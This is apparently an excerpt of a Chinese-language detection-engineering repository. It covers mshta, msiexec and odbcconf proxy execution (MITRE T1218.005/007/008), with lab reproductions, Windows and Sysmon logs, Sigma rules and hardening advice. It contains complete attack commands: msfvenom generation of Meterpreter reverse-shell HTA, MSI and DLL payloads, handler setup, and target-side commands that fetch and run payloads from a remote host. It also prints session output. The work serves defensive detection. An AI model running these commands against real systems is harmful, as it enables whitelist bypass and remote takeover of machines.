`http://192.168.126.146:8080/Uj6Tcv.hta`：远程HTA文件，包含Meterpreter Payload。\n- 执行触发反向Shell。\n\n**清理命令**：\n```cmd\ntaskkill /IM mshta.exe /F\n```\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`mshta.exe`的执行（需启用进程跟踪审核）。\n  - Event ID 5156：Windows过滤平台（WFP）连接，记录`mshta.exe`的HTTP连接和反向Shell的网络连接（如TCP 4444）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`mshta.exe`的命令行及父进程信息。\n  - Event ID 3：网络连接，记录`mshta.exe`的HTTP请求和C2连接。\n  - Event ID 7：镜像加载，记录加载的DLL或模块（如`scrobj.dll`）。\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建、网络连接和镜像加载事件。\n\n## 测试复现\n\n### 测试环境\n\n- **攻击机**：Kali Linux 2019，IP：192.168.126.146\n- **靶机**：Windows Server 2012，IP：192.168.126.156，Sysmon已部署，.NET Framework 3.5安装\n- **工具**：Metasploit（`msfvenom`和`exploit/windows/misc/hta_server`）\n\n### 测试过程\n\n#### 1. 生成恶意HTA（攻击机）\n\n**命令**：\n```bash\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f hta-psh -o Uj6Tcv.hta\n```\n\n**说明**：\n- 生成PowerShell封装的Meterpreter反向Shell HTA文件，保存为`Uj6Tcv.hta`。\n- 示例HTA内容（简化）：\n  ```html\n  <html>\n  <head>\n  <script language=\"VBScript\">\n  Set shell = CreateObject(\"WScript.Shell\")\n  shell.Run \"powershell.exe -nop -w hidden -c <Base64-encoded Meterpreter Payload>\"\n  Self.Close\n  </script>\n  </head>\n  </html>\n  ```\n\n#### 2. 配置Metasploit HTA服务器（攻击机）\n\n**命令**：\n```bash\nmsfconsole\nuse exploit/windows/misc/hta_server\nset LHOST 192.168.126.146\nset SRVHOST 192.168.126.146\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LPORT 4444\nexploit\n```\n\n**输出**：\n```\n[*] Exploit running as background job 0.\n[*] Started reverse TCP handler on 192.168.126.146:4444\n[*] Using URL: http://192.168.126.146:8080/Uj6Tcv.hta\n[*] Server started.\n```\n\n**说明**：\n- 配置Metasploit托管HTA文件，监听反向TCP连接（端口4444）。\n\n#### 3. 靶机执行Payload\n\n**命令**：\n```cmd\nmshta.exe http://192.168.126.146:8080/Uj6Tcv.hta\n```\n\n**结果**：\n- `mshta.exe`下载并执行`Uj6Tcv.hta`，触发Meterpreter Payload。\n- 攻击机接收会话：\n  ```\n  [*] 192.168.126.156 hta_server - Delivering Payload\n  [*] Sending stage (180291 bytes) to 192.168.126.156\n  [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.156:50232) at 2023-10-01 10:00:00 +0800\n  meterpreter > getuid\n  Server username: WIN-SRV-2012\\Administrator\n  ```\n\n**注意**：\n- 靶机需安装.NET Framework 3.5以支持PowerShell执行。\n- 可能因安全策略（如AMSI或PowerShell限制）失败，需调整靶机配置。\n\n#### 4. 清理\n\n**靶机**：\n```cmd\ntaskkill /IM mshta.exe /F\ntaskkill /IM powershell.exe /F\n```\n\n**攻击机**：\n- 关闭Metasploit会话：`exit`\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN-SRV-2012\n描述:\n已创建新进程。\n\n进程信息:\n  新进程 ID: 0xb20\n  新进程名称: C:\\Windows\\System32\\mshta.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  创建者进程 ID: 0x13c\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: mshta.exe http://192.168.126.146:8080/Uj6Tcv.hta\n```\n\n**分析**：\n- 日志记录`mshta.exe`执行，命令行包含远程HTA URL。\n- 父进程为`cmd.exe`，提示通过命令行触发。\n\n### Sysmon日志（Event ID 3：网络连接）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 3\n任务类别: Network connection detected\n级别: 信息\n用户: WIN-SRV-2012\\Administrator\n计算机: WIN-SRV-2012\n描述:\nNetwork connection detected:\nRuleName: technique_id=T1218.005,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000}\nProcessId: 2848\nImage: C:\\Windows\\System32\\mshta.exe\nProtocol: tcp\nDestinationIp: 192.168.126.146\nDestinationPort: 8080\nDestinationHostname: 192.168.126.146\n```\n\n**分析**：\n- 日志记录`mshta.exe`发起HTTP连接（TCP 8080），下载HTA文件。\n- 后续可能记录C2连接（TCP 4444）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Mshta.exe可疑执行\ndescription: Detects suspicious mshta.exe execution patterns, including remote HTA or script execution.\nstatus: experimental\nauthor: Diego Perez (@darkquassar), Markus Neis\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/005/\n  - http://blog.sevagas.com/?Hacking-around-HTA-files\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.005\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection1:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\mshta.exe'\n    CommandLine|contains:\n      - '://'\n      - '.hta'\n      - 'vbscript'\n      - 'jscript'\n  selection2:\n    EventID:\n      - 4688\n      - 1\n    Image|endswith: '\\powershell.exe'\n    ParentImage|endswith: '\\mshta.exe'\n  condition: selection1 or selection2\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of mshta.exe for HTA-based applications\nlevel: high\n```\n\n**规则说明**：\n- 检测`mshta.exe`执行，命令行包含`://`（如HTTP URL）、`.hta`、或脚本关键字（如`vbscript`、`jscript`）。\n- 检测`powershell.exe`由`mshta.exe`启动，提示HTA触发PowerShell Payload。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法HTA应用的误报。\n\n### 建议\n\n1. **监控Mshta.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`mshta.exe`的进程创建，检查命令行是否包含`://`、`.hta`或脚本关键字。\n   - 监控Event ID 3（网络连接），检测HTTP请求或C2连接（如TCP 4444）。\n   - 监控Event ID 7（镜像加载），检测可疑DLL（如`scrobj.dll`）。\n\n2. **启用命令行和网络审计**：\n   - 配置Windows安全策略，启用进程跟踪（Event ID 4688）和WFP连接（Event ID 5156）审计。\n   - 部署Sysmon，配置捕获进程命令行、网络连接和镜像加载事件。\n\n3. **基线化行为**：\n   - 建立`mshta.exe`的正常使用基线，加载远程HTA或触发网络连接应罕见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如URL）。\n\n4. **限制Mshta.exe使用**：\n   - 使用AppLocker或组策略限制`mshta.exe`的执行，仅允许受信任的HTA文件。\n   - 禁用`mshta.exe`的网络访问（如阻止HTTP出站流量）。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`mshta.exe`代理执行。\n   - 设置高优先级告警，针对远程HTA加载或脚本执行。\n\n6. **行为链关联**：\n   - 将`mshta.exe`执行与其他可疑行为（如`powershell.exe`启动、网络连接）关联，识别攻击链。\n   - 例如，检测`mshta.exe`加载HTA后是否发起C2通信。\n\n7. **网络防御**：\n   - 配置防火墙阻止`mshta.exe`的非必要出站连接（如HTTP 8080或TCP 4444）。\n   - 监控异常IP或域名的HTTP流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`mshta.exe`加载远程HTA（如使用Metasploit），验证检测规则有效性。\n   - 测试不同Windows版本和补丁级别，确认Payload执行的成功率。\n   - 调整规则阈值，排除合法HTA应用的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.005  \n  <https://attack.mitre.org/techniques/T1218/005/>\n- 远控免杀专题：Mshta.exe执行Payload  \n  <http://sec.nmask.cn/article_content?a_id=d1a4d20858c9283aef9ef49d2e98352c>\n- 检测可疑的Mshta使用情况  \n  <https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/master/Execution/detect-suspicious-mshta-usage.md>\n- Atomic Red Team T1218.005  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.005/T1218.005.md>\n- Microsoft文档：HTA概述  \n  <https://docs.microsoft.com/en-us/previous-versions//ms536496(v=vs.85)>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.007-Win-使用Msiexec.exe执行Payload(白名单).md",
    "content": "# T1218.007-Win-使用Msiexec.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用**msiexec.exe**代理执行恶意代码，规避安全工具的检测（MITRE ATT&CK T1218.007）。`msiexec.exe`是Windows Installer的组成部分，用于安装MSI（Microsoft Installer）包，由微软数字签名，常被白名单或误报。攻击者可通过`msiexec.exe`加载本地或远程恶意MSI文件，触发恶意Payload，如Meterpreter反向Shell。此技术利用`msiexec.exe`的合法性和白名单特性，结合其支持从远程URL加载MSI的能力，增加隐蔽性，适用于防御规避和初始访问。\n\n本案例聚焦于使用`msiexec.exe`加载远程MSI文件（如`http://<IP>/1.msi`），执行Meterpreter反向Shell，模拟攻击者绕过应用程序白名单的场景。\n\n## 测试案例\n\n### 测试1：使用Msiexec.exe执行远程MSI Payload\n\n攻击者通过`msiexec.exe`加载远程MSI文件，触发反向Shell。\n\n**环境要求**：\n- 攻击机：Kali Linux（或其他Metasploit支持的系统）\n- 靶机：Windows 7（支持Windows 2003及以上）\n- 工具：Metasploit（生成Payload）、`msiexec.exe`（系统自带）\n- 权限：普通用户\n- 路径：\n  - `C:\\Windows\\System32\\msiexec.exe`\n  - `C:\\Windows\\SysWOW64\\msiexec.exe`\n\n**攻击命令**（靶机）：\n```cmd\nmsiexec.exe /q /i http://192.168.126.146/1.msi\n```\n\n**说明**：\n- `/q`：静默模式，抑制用户界面。\n- `/i`：安装模式，指定MSI文件路径（支持HTTP URL）。\n- `http://192.168.126.146/1.msi`：远程MSI文件，包含Meterpreter Payload。\n- 执行触发反向Shell。\n\n**清理命令**：\n```cmd\ntaskkill /IM msiexec.exe /F\n```\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`msiexec.exe`的执行（需启用进程跟踪审核）。\n  - Event ID 5156：Windows过滤平台（WFP）连接，记录`msiexec.exe`的HTTP连接和反向Shell的网络连接（如TCP 1234）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`msiexec.exe`的命令行及父进程信息。\n  - Event ID 3：网络连接，记录`msiexec.exe`的HTTP请求和C2连接。\n  - Event ID 7：镜像加载，记录加载的DLL或模块（若MSI触发额外加载）。\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建、网络连接和镜像加载事件。\n\n## 测试复现\n\n### 测试环境\n\n- **攻击机**：Kali Linux 2019，IP：192.168.126.146\n- **靶机**：Windows 7，IP：192.168.126.149，Sysmon已部署\n- **工具**：Metasploit（`msfvenom`和`exploit/multi/handler`）\n\n### 测试过程\n\n#### 1. 生成恶意MSI（攻击机）\n\n**命令**：\n```bash\nmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=1234 -f msi -o 1.msi\n```\n\n**说明**：\n- 生成Meterpreter反向Shell MSI文件，保存为`1.msi`。\n- 需将`1.msi`托管于攻击机的Web服务器（如Apache）。\n\n#### 2. 配置Web服务器（攻击机）\n\n**命令**：\n```bash\nsudo cp 1.msi /var/www/html/\nsudo systemctl start apache2\n```\n\n**说明**：\n- 将`1.msi`复制到Web根目录，确保靶机可通过`http://192.168.126.146/1.msi`访问。\n- 启动Apache服务器。\n\n#### 3. 配置Metasploit监听（攻击机）\n\n**命令**：\n```bash\nmsfconsole\nuse exploit/multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST 192.168.126.146\nset LPORT 1234\nexploit\n```\n\n**输出**：\n```\n[*] Started reverse TCP handler on 192.168.126.146:1234\n```\n\n**说明**：\n- 配置反向TCP Shell监听，端口1234。\n\n#### 4. 靶机执行Payload\n\n**命令**：\n```cmd\nmsiexec.exe /q /i http://192.168.126.146/1.msi\n```\n\n**结果**：\n- `msiexec.exe`下载并执行`1.msi`，触发Meterpreter Payload。\n- 攻击机接收会话：\n  ```\n  [*] Sending stage (180291 bytes) to 192.168.126.149\n  [*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49323) at 2023-10-01 10:00:00 +0800\n  meterpreter > getuid\n  Server username: 12306Br0-PC\\12306Br0\n  ```\n\n#### 5. 清理\n\n**靶机**：\n```cmd\ntaskkill /IM msiexec.exe /F\n```\n\n**攻击机**：\n- 关闭Metasploit会话：`exit`\n- 停止Web服务器：`sudo systemctl stop apache2`\n- 删除MSI文件：`rm /var/www/html/1.msi`\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: 12306Br0-PC\n描述:\n已创建新进程。\n\n进程信息:\n  新进程 ID: 0xe78\n  新进程名称: C:\\Windows\\System32\\msiexec.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  创建者进程 ID: 0xefa\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: msiexec.exe /q /i http://192.168.126.146/1.msi\n```\n\n**分析**：\n- 日志记录`msiexec.exe`执行，命令行包含`/q /i http://...`。\n- 父进程为`cmd.exe`，提示通过命令行触发。\n\n### Sysmon日志（Event ID 1：进程创建）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 1\n任务类别: Process Create\n级别: 信息\n用户: 12306Br0-PC\\12306Br0\n计算机: 12306Br0-PC\n描述:\nProcess Create:\nRuleName: technique_id=T1218.007,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.596\nProcessGuid: {bb1f7c32-08e0-5e9b-0000-0010b8ff3f01}\nProcessId: 3704\nImage: C:\\Windows\\System32\\msiexec.exe\nFileVersion: 5.0.7601.17514\nDescription: Windows® installer\nProduct: Windows Installer - Unicode\nCompany: Microsoft Corporation\nOriginalFileName: msiexec.exe\nCommandLine: msiexec.exe /q /i http://192.168.126.146/1.msi\nCurrentDirectory: C:\\Users\\12306Br0\\\nUser: 12306Br0-PC\\12306Br0\nLogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600}\nLogonId: 0x6e21a\nTerminalSessionId: 1\nIntegrityLevel: Medium\nHashes: SHA1=443AAC22D57EDD4EF893E2A245B356CBA5B2C2DD\nParentProcessGuid: {bb1f7c32-08db-5e9b-0000-001049f63d01}\nParentProcessId: 1900\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\System32\\cmd.exe\"\n```\n\n**分析**：\n- 日志记录`msiexec.exe`执行，命令行明确指向远程MSI。\n\n### Sysmon日志（Event ID 3：网络连接）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 3\n任务类别: Network connection detected\n级别: 信息\n用户: 12306Br0-PC\\12306Br0\n计算机: 12306Br0-PC\n描述:\nNetwork connection detected:\nRuleName: technique_id=T1218.007,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.597\nProcessGuid: {bb1f7c32-08e0-5e9b-0000-0010b8ff3f01}\nProcessId: 3704\nImage: C:\\Windows\\System32\\msiexec.exe\nProtocol: tcp\nDestinationIp: 192.168.126.146\nDestinationPort: 80\nDestinationHostname: 192.168.126.146\n```\n\n**分析**：\n- 日志记录`msiexec.exe`发起HTTP连接（TCP 80），下载MSI文件。\n- 后续可能记录C2连接（TCP 1234）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Msiexec.exe加载远程MSI文件\ndescription: Detects suspicious msiexec.exe execution with web addresses as parameters.\nstatus: experimental\nauthor: Florian Roth\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/007/\n  - https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.007\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\msiexec.exe'\n    CommandLine|contains:\n      - '://'\n      - '.msi'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of msiexec.exe for remote software installation\nlevel: medium\n```\n\n**规则说明**：\n- 检测`msiexec.exe`执行，命令行包含`://`（如HTTP URL）或`.msi`。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法远程MSI安装的误报。\n\n### 建议\n\n1. **监控Msiexec.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`msiexec.exe`的进程创建，检查命令行是否包含`://`或`.msi`。\n   - 监控Event ID 3（网络连接），检测HTTP请求或C2连接（如TCP 1234）。\n   - 监控Event ID 7（镜像加载），检测MSI触发的可疑DLL或模块。\n\n2. **启用命令行和网络审计**：\n   - 配置Windows安全策略，启用进程跟踪（Event ID 4688）和WFP连接（Event ID 5156）审计。\n   - 部署Sysmon，配置捕获进程命令行、网络连接和镜像加载事件。\n\n3. **基线化行为**：\n   - 建立`msiexec.exe`的正常使用基线，加载远程MSI文件应罕见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如URL）。\n\n4. **限制Msiexec.exe使用**：\n   - 使用AppLocker或组策略限制`msiexec.exe`的执行，仅允许受信任的MSI文件。\n   - 禁用`msiexec.exe`的网络访问（如阻止HTTP出站流量）。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`msiexec.exe`代理执行。\n   - 设置中优先级告警，针对远程MSI加载或网络连接。\n\n6. **行为链关联**：\n   - 将`msiexec.exe`执行与其他可疑行为（如网络连接、子进程创建）关联，识别攻击链。\n   - 例如，检测`msiexec.exe`加载MSI后是否发起C2通信。\n\n7. **网络防御**：\n   - 配置防火墙阻止`msiexec.exe`的非必要出站连接（如HTTP 80或TCP 1234）。\n   - 监控异常IP或域名的HTTP流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`msiexec.exe`加载远程MSI（如使用Meterpreter），验证检测规则有效性。\n   - 测试不同Windows版本和补丁级别，确认Payload执行的成功率。\n   - 调整规则阈值，排除合法远程MSI安装的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.007  \n  <https://attack.mitre.org/techniques/T1218/007/>\n- 基于白名单的Payload  \n  <https://blog.csdn.net/weixin_30790841/article/details/101848854>\n- Trend Micro：Msiexec攻击分析  \n  <https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/>\n- Atomic Red Team T1218.007  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.007/T1218.007.md>\n- Microsoft文档：Msiexec.exe  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.008-Win-使用Odbcconf.exe执行Payload(白名单).md",
    "content": "# T1218.008-Win-使用Odbcconf.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用**odbcconf.exe**代理执行恶意代码，规避安全工具的检测（MITRE ATT&CK T1218.008）。`odbcconf.exe`是Windows内置工具，用于配置开放数据库连接（ODBC）驱动和数据源名称，由微软数字签名，常被白名单或误报。攻击者可通过`odbcconf.exe`的`/A {REGSVR}`选项加载恶意DLL，类似于`regsvr32.exe`，触发恶意Payload。此技术利用`odbcconf.exe`的合法性和白名单特性，结合`rundll32.exe`加载DLL的机制，实现防御规避和初始访问。\n\n本案例聚焦于使用`odbcconf.exe`加载本地恶意DLL（如`payload.dll`），执行Meterpreter反向Shell，模拟攻击者绕过应用程序白名单的场景。\n\n## 测试案例\n\n### 测试1：使用Odbcconf.exe执行本地DLL Payload\n\n攻击者通过`odbcconf.exe`加载恶意DLL，触发反向Shell。\n\n**环境要求**：\n- 攻击机：Kali Linux（或其他Metasploit支持的系统）\n- 靶机：Windows 7（支持Windows 2003及以上）\n- 工具：Metasploit（生成Payload）、`odbcconf.exe`（系统自带）\n- 权限：普通用户\n- 路径：\n  - `C:\\Windows\\System32\\odbcconf.exe`\n  - `C:\\Windows\\SysWOW64\\odbcconf.exe`\n\n**攻击命令**（靶机）：\n```cmd\nC:\\Windows\\SysWOW64\\odbcconf.exe /A {REGSVR C:\\payload.dll}\n```\n\n**说明**：\n- `/A {REGSVR}`：执行注册DLL的操作，调用`rundll32.exe`加载指定DLL。\n- `C:\\payload.dll`：本地恶意DLL，包含Meterpreter Payload。\n- 执行触发反向Shell。\n\n**清理命令**：\n```cmd\ntaskkill /IM odbcconf.exe /F\ntaskkill /IM rundll32.exe /F\ndel C:\\payload.dll\n```\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`odbcconf.exe`和`rundll32.exe`的执行（需启用进程跟踪审核）。\n  - Event ID 5156：Windows过滤平台（WFP）连接，记录反向Shell的网络连接（如TCP 53）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`odbcconf.exe`和`rundll32.exe`的命令行及父进程信息。\n  - Event ID 3：网络连接，记录`rundll32.exe`触发的C2连接。\n  - Event ID 7：镜像加载，记录`payload.dll`的加载。\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建、网络连接和镜像加载事件。\n\n## 测试复现\n\n### 测试环境\n\n- **攻击机**：Kali Linux 2019，IP：192.168.126.146\n- **靶机**：Windows 7，IP：192.168.126.149，Sysmon已部署\n- **工具**：Metasploit（`msfvenom`和`exploit/multi/handler`）\n\n### 测试过程\n\n#### 1. 生成恶意DLL（攻击机）\n\n**命令**：\n```bash\nmsfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=53 -f dll -o payload.dll\n```\n\n**说明**：\n- 生成32位Meterpreter反向Shell DLL，保存为`payload.dll`。\n- 需将`payload.dll`传输到靶机（如通过SMB或手动复制）。\n\n#### 2. 配置Metasploit监听（攻击机）\n\n**命令**：\n```bash\nmsfconsole\nuse exploit/multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST 192.168.126.146\nset LPORT 53\nset AutoRunScript migrate -f\nexploit\n```\n\n**输出**：\n```\n[*] Started reverse TCP handler on 192.168.126.146:53\n```\n\n**说明**：\n- 配置反向TCP Shell监听，端口53，`AutoRunScript migrate -f`自动迁移到其他进程（如`notepad.exe`）以提升持久性。\n\n#### 3. 靶机执行Payload\n\n- 将`payload.dll`复制到靶机`C:\\`目录。\n\n**命令**：\n```cmd\nC:\\Windows\\SysWOW64\\odbcconf.exe /A {REGSVR C:\\payload.dll}\n```\n\n**结果**：\n- `odbcconf.exe`调用`rundll32.exe`加载`payload.dll`，触发Meterpreter Payload。\n- 攻击机接收会话：\n  ```bash\n  [*] Sending stage (180291 bytes) to 192.168.126.149\n  [*] Meterpreter session 2 opened (192.168.126.146:53 -> 192.168.126.149:49306) at 2023-10-01 10:00:00 +0800\n  [*] Session ID 2 (192.168.126.146:53 -> 192.168.126.149:49306) processing AutoRunScript 'migrate -f'\n  [*] Current server process: rundll32.exe (912)\n  [*] Spawning notepad.exe process to migrate to\n  [+] Migrating to 3820\n  [+] Successfully migrated to process\n  meterpreter > getuid\n  Server username: 12306Br0-PC\\12306Br0\n  ```\n\n#### 4. 清理\n\n**靶机**：\n```cmd\ntaskkill /IM odbcconf.exe /F\ntaskkill /IM rundll32.exe /F\ntaskkill /IM notepad.exe /F\ndel C:\\payload.dll\n```\n\n**攻击机**：\n- 关闭Metasploit会话：`exit`\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: 12306Br0-PC\n描述:\n已创建新进程。\n\n进程信息:\n  新进程 ID: 0xfec\n  新进程名称: C:\\Windows\\SysWOW64\\odbcconf.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  创建者进程 ID: 0xefa\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: C:\\Windows\\SysWOW64\\odbcconf.exe /A {REGSVR C:\\payload.dll}\n```\n\n```xml\n进程信息:\n  新进程 ID: 0x390\n  新进程名称: C:\\Windows\\SysWOW64\\rundll32.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  创建者进程 ID: 0xfec\n  创建者进程名称: C:\\Windows\\SysWOW64\\odbcconf.exe\n  进程命令行: rundll32.exe\n```\n\n**分析**：\n- 日志记录`odbcconf.exe`执行，命令行包含`/A {REGSVR C:\\payload.dll}`。\n- `rundll32.exe`由`odbcconf.exe`启动，提示DLL加载。\n\n### Sysmon日志（Event ID 1：进程创建）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 1\n任务类别: Process Create\n级别: 信息\n用户: 12306Br0-PC\\12306Br0\n计算机: 12306Br0-PC\n描述:\nProcess Create:\nRuleName: technique_id=T1218.008,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {bb1f7c32-f662-5e9a-0000-0010d648ef00}\nProcessId: 4076\nImage: C:\\Windows\\SysWOW64\\odbcconf.exe\nFileVersion: 6.1.7600.16385\nDescription: ODBC Driver Configuration Program\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: odbcconf.exe\nCommandLine: C:\\Windows\\SysWOW64\\odbcconf.exe /A {REGSVR C:\\payload.dll}\nCurrentDirectory: C:\\\nUser: 12306Br0-PC\\12306Br0\nLogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600}\nLogonId: 0x6e21a\nTerminalSessionId: 1\nIntegrityLevel: Medium\nHashes: SHA1=B1C49B2159C237B1F2BCE2D40508113E39143F7B\nParentProcessGuid: {bb1f7c32-f65d-5e9a-0000-0010833eef00}\nParentProcessId: 3868\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\System32\\cmd.exe\"\n```\n\n```xml\nProcess Create:\nRuleName: technique_id=T1218.008,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.124\nProcessGuid: {bb1f7c32-f663-5e9a-0000-0010e749ef00}\nProcessId: 912\nImage: C:\\Windows\\SysWOW64\\rundll32.exe\nFileVersion: 6.1.7600.16385\nDescription: Windows host process (Rundll32)\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: RUNDLL32.EXE\nCommandLine: rundll32.exe\nCurrentDirectory: C:\\\nUser: 12306Br0-PC\\12306Br0\nLogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600}\nLogonId: 0x6e21a\nTerminalSessionId: 1\nIntegrityLevel: Medium\nHashes: SHA1=8939CF35447B22DD2C6E6F443446ACC1BF986D58\nParentProcessGuid: {bb1f7c32-f662-5e9a-0000-0010d648ef00}\nParentProcessId: 4076\nParentImage: C:\\Windows\\SysWOW64\\odbcconf.exe\nParentCommandLine: C:\\Windows\\SysWOW64\\odbcconf.exe /A {REGSVR C:\\payload.dll}\n```\n\n**分析**：\n- 日志记录`odbcconf.exe`和`rundll32.exe`的执行，父子关系明确。\n- `odbcconf.exe`命令行包含`/A {REGSVR}`，提示DLL注册。\n\n### Sysmon日志（Event ID 3：网络连接）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 3\n任务类别: Network connection detected\n级别: 信息\n用户: 12306Br0-PC\\12306Br0\n计算机: 12306Br0-PC\n描述:\nNetwork connection detected:\nRuleName: technique_id=T1218.008,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.125\nProcessGuid: {bb1f7c32-f663-5e9a-0000-0010e749ef00}\nProcessId: 912\nImage: C:\\Windows\\SysWOW64\\rundll32.exe\nProtocol: tcp\nDestinationIp: 192.168.126.146\nDestinationPort: 53\nDestinationHostname: 192.168.126.146\n```\n\n**分析**：\n- 日志记录`rundll32.exe`发起TCP 53连接，提示反向Shell。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Odbcconf.exe加载DLL绕过白名单\ndescription: Detects defense evasion via odbcconf.exe execution to load malicious 